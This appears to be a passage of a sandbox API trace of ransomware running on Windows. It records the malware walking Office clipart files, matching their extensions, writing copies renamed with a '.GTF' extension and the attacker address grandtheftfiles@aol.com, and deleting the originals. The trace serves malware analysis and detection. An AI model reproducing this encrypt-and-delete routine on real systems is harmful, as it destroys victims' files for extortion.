	[0090.811] lstrlenW (lpString=".1cd") returned 4
	[0090.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0090.811] lstrlenW (lpString=".jpg") returned 4
	[0090.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0090.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0090.811] lstrlenW (lpString=".doc") returned 4
	[0090.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.811] lstrlenW (lpString=".docx") returned 5
	[0090.812] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0090.812] lstrlenW (lpString=".pdf") returned 4
	[0090.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.812] lstrlenW (lpString=".xls") returned 4
	[0090.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.812] lstrlenW (lpString=".xlsx") returned 5
	[0090.812] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0090.812] lstrlenW (lpString=".ppt") returned 4
	[0090.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0090.812] lstrlenW (lpString=".zip") returned 4
	[0090.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.812] lstrlenW (lpString=".rar") returned 4
	[0090.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.812] lstrlenW (lpString=".bz2") returned 4
	[0090.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.812] lstrlenW (lpString=".7z") returned 3
	[0090.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0090.812] lstrlenW (lpString=".dbf") returned 4
	[0090.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0090.812] lstrlenW (lpString=".1cd") returned 4
	[0090.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0090.812] lstrlenW (lpString=".jpg") returned 4
	[0090.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.812] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0090.812] lstrlenW (lpString="J0099152.JPG") returned 12
	[0090.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.813] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=11694) returned 1
	[0090.813] CloseHandle (hObject=0x37c) returned 1
	[0090.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220
	[0090.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.813] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.813] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0090.814] GetLastError () returned 0x0
	[0090.814] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x2dae, lpOverlapped=0x0) returned 1
	[0090.817] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x2db0, lpOverlapped=0x0) returned 1
	[0090.818] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.818] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.818] SetEndOfFile (hFile=0x378) returned 1
	[0090.818] CloseHandle (hObject=0x378) returned 1
	[0090.819] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.819] SetEndOfFile (hFile=0x37c) returned 1
	[0090.819] CloseHandle (hObject=0x37c) returned 1
	[0090.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1
	[0090.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0090.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0090.820] lstrlenW (lpString=".doc") returned 4
	[0090.820] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.820] lstrlenW (lpString=".docx") returned 5
	[0090.820] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0090.820] lstrlenW (lpString=".pdf") returned 4
	[0090.820] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.820] lstrlenW (lpString=".xls") returned 4
	[0090.820] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.820] lstrlenW (lpString=".xlsx") returned 5
	[0090.820] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0090.820] lstrlenW (lpString=".ppt") returned 4
	[0090.820] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0090.820] lstrlenW (lpString=".zip") returned 4
	[0090.820] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.820] lstrlenW (lpString=".rar") returned 4
	[0090.820] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.820] lstrlenW (lpString=".bz2") returned 4
	[0090.820] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.820] lstrlenW (lpString=".7z") returned 3
	[0090.820] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0090.821] lstrlenW (lpString=".dbf") returned 4
	[0090.821] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0090.821] lstrlenW (lpString=".1cd") returned 4
	[0090.821] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0090.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0090.821] lstrlenW (lpString=".jpg") returned 4
	[0090.821] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0090.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0090.821] lstrlenW (lpString=".doc") returned 4
	[0090.821] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0090.821] lstrlenW (lpString=".docx") returned 5
	[0090.821] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0090.821] lstrlenW (lpString=".pdf") returned 4
	[0090.821] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0090.821] lstrlenW (lpString=".xls") returned 4
	[0090.821] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0090.821] lstrlenW (lpString=".xlsx") returned 5
	[0090.821] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0090.821] lstrlenW (lpString=".ppt") returned 4
	[0090.821] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0090.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0090.821] lstrlenW (lpString=".zip") returned 4
	[0090.821] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0090.821] lstrlenW (lpString=".rar") returned 4
	[0090.821] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0090.821] lstrlenW (lpString=".bz2") returned 4
	[0090.821] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0090.821] lstrlenW (lpString=".7z") returned 3
	[0090.821] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0090.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0090.821] lstrlenW (lpString=".dbf") returned 4
	[0090.821] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0090.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0090.821] lstrlenW (lpString=".1cd") returned 4
	[0090.821] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0090.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0090.822] lstrlenW (lpString=".jpg") returned 4
	[0090.822] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0090.822] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.822] lstrlenW (lpString="J0099153.WMF") returned 12
	[0090.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.822] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=13874) returned 1
	[0090.822] CloseHandle (hObject=0x37c) returned 1
	[0090.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220
	[0090.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.822] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.822] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0090.823] GetLastError () returned 0x0
	[0090.823] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3632, lpOverlapped=0x0) returned 1
	[0090.825] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3640, lpOverlapped=0x0) returned 1
	[0090.826] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.826] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.826] SetEndOfFile (hFile=0x378) returned 1
	[0090.826] CloseHandle (hObject=0x378) returned 1
	[0090.826] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.826] SetEndOfFile (hFile=0x37c) returned 1
	[0090.827] CloseHandle (hObject=0x37c) returned 1
	[0090.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1
	[0090.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0090.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0090.828] lstrlenW (lpString=".doc") returned 4
	[0090.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.828] lstrlenW (lpString=".docx") returned 5
	[0090.828] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0090.828] lstrlenW (lpString=".pdf") returned 4
	[0090.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.828] lstrlenW (lpString=".xls") returned 4
	[0090.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.828] lstrlenW (lpString=".xlsx") returned 5
	[0090.828] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0090.828] lstrlenW (lpString=".ppt") returned 4
	[0090.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0090.828] lstrlenW (lpString=".zip") returned 4
	[0090.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.828] lstrlenW (lpString=".rar") returned 4
	[0090.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.828] lstrlenW (lpString=".bz2") returned 4
	[0090.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.828] lstrlenW (lpString=".7z") returned 3
	[0090.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0090.828] lstrlenW (lpString=".dbf") returned 4
	[0090.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0090.828] lstrlenW (lpString=".1cd") returned 4
	[0090.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0090.828] lstrlenW (lpString=".jpg") returned 4
	[0090.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0090.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0090.828] lstrlenW (lpString=".doc") returned 4
	[0090.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.829] lstrlenW (lpString=".docx") returned 5
	[0090.829] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0090.829] lstrlenW (lpString=".pdf") returned 4
	[0090.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.829] lstrlenW (lpString=".xls") returned 4
	[0090.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.829] lstrlenW (lpString=".xlsx") returned 5
	[0090.829] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0090.829] lstrlenW (lpString=".ppt") returned 4
	[0090.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0090.829] lstrlenW (lpString=".zip") returned 4
	[0090.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.829] lstrlenW (lpString=".rar") returned 4
	[0090.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.829] lstrlenW (lpString=".bz2") returned 4
	[0090.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.829] lstrlenW (lpString=".7z") returned 3
	[0090.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0090.829] lstrlenW (lpString=".dbf") returned 4
	[0090.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0090.829] lstrlenW (lpString=".1cd") returned 4
	[0090.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0090.829] lstrlenW (lpString=".jpg") returned 4
	[0090.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.829] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0090.829] lstrlenW (lpString="J0099154.JPG") returned 12
	[0090.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.830] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=6929) returned 1
	[0090.830] CloseHandle (hObject=0x37c) returned 1
	[0090.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220
	[0090.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.830] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.830] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0090.831] GetLastError () returned 0x0
	[0090.831] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1b11, lpOverlapped=0x0) returned 1
	[0090.973] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0090.974] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.974] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.974] SetEndOfFile (hFile=0x378) returned 1
	[0091.243] CloseHandle (hObject=0x378) returned 1
	[0091.244] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.244] SetEndOfFile (hFile=0x37c) returned 1
	[0091.244] CloseHandle (hObject=0x37c) returned 1
	[0091.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1
	[0091.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0091.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0091.245] lstrlenW (lpString=".doc") returned 4
	[0091.245] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.245] lstrlenW (lpString=".docx") returned 5
	[0091.245] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0091.245] lstrlenW (lpString=".pdf") returned 4
	[0091.245] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.245] lstrlenW (lpString=".xls") returned 4
	[0091.245] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.245] lstrlenW (lpString=".xlsx") returned 5
	[0091.245] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0091.245] lstrlenW (lpString=".ppt") returned 4
	[0091.245] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0091.245] lstrlenW (lpString=".zip") returned 4
	[0091.245] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.245] lstrlenW (lpString=".rar") returned 4
	[0091.245] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.245] lstrlenW (lpString=".bz2") returned 4
	[0091.245] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.246] lstrlenW (lpString=".7z") returned 3
	[0091.246] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0091.307] lstrlenW (lpString=".dbf") returned 4
	[0091.308] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
